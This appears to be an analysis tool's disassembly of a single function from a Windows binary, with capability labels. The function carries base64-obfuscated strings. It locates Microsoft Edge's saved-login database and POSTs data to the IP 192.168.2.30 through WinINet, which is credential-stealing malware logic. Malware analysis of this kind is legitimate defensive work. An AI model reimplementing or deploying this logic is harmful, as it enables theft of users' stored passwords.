Function at 0x401770
Capabilities:
Connect to http server
Create http request
Query environment variable
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403ef3
mov eax, dword fs:[0]
push eax
sub esp, 0x98
mov eax, dword [0x407008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0
push str.MTkyLjE2OC4yLjMw
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x60], 0
movups xmmword [ebp - 0x74], xmm0
call fcn.00402b40
lea edx, [ebp - 0x74]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.004015e0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x40180d
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401803
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401803
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040311c
add esp, 8
push str.LOCALAPPDATA
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401850
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00402b40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x8c]
push 0x3c
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
push str.XE1pY3Jvc29mdFxFZGdlXFVzZXIgRGF0YVxEZWZhdWx0XExvZ2luIERhdGE
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
call fcn.00402b40
lea edx, [ebp - 0x8c]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa4]
call fcn.004015e0
mov byte [ebp - 4], 5
mov ecx, eax
cmp dword [eax + 0x14], 0x10
jb 0x4018b4
mov ecx, dword [eax]
mov edi, dword [eax + 0x10]
mov esi, dword [ebp - 0x14]
mov eax, esi
mov edx, dword [ebp - 0x18]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4018e9
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
lea esi, [eax + edx]
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x4018f9
mov byte [ebp - 0x5c], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x5c]
push edi
call fcn.00402ed0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x90]
cmp ecx, 0x10
jb 0x401933
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401929
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40197b
push ecx
push edx
call fcn.0040311c
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x78]
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
cmp ecx, 0x10
jb 0x40198b
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401981
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401981
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040311c
add esp, 8
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x40]
call fcn.00401220
cmp dword [ebp - 0x44], 0x10
lea esi, [ebp - 0x58]
push 0
cmovae esi, dword [ebp - 0x58]
push 0
push 0
push 0
push str.FintendoWii
call dword [sym.imp.WININET.dll_InternetOpenA]
push 1
push 0
push 3
push 0x4052ec
push 0x4052ec
push 0x50
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 1
push 0
push 0
push 0
push 0
push 0x405279
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x40]
mov esi, dword [ebp - 0x40]
cmp edx, 0x10
mov edi, eax
cmovae ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x5c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a00
sub ecx, dword [ebp - 0x5c]
lea eax, [ebp - 0x40]
cmp edx, 0x10
push ecx
cmovae eax, esi
push eax
push 0
push 0x405279
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x401a57
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ad1
push ecx
push edx
call fcn.0040311c
add esp, 8
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp ecx, 0x10
jb 0x401a99
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ad1
push ecx
push edx
call fcn.0040311c
add esp, 8
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x401ae1
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401ad7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401ad7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040311c
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004030de
mov esp, ebp
pop ebp
ret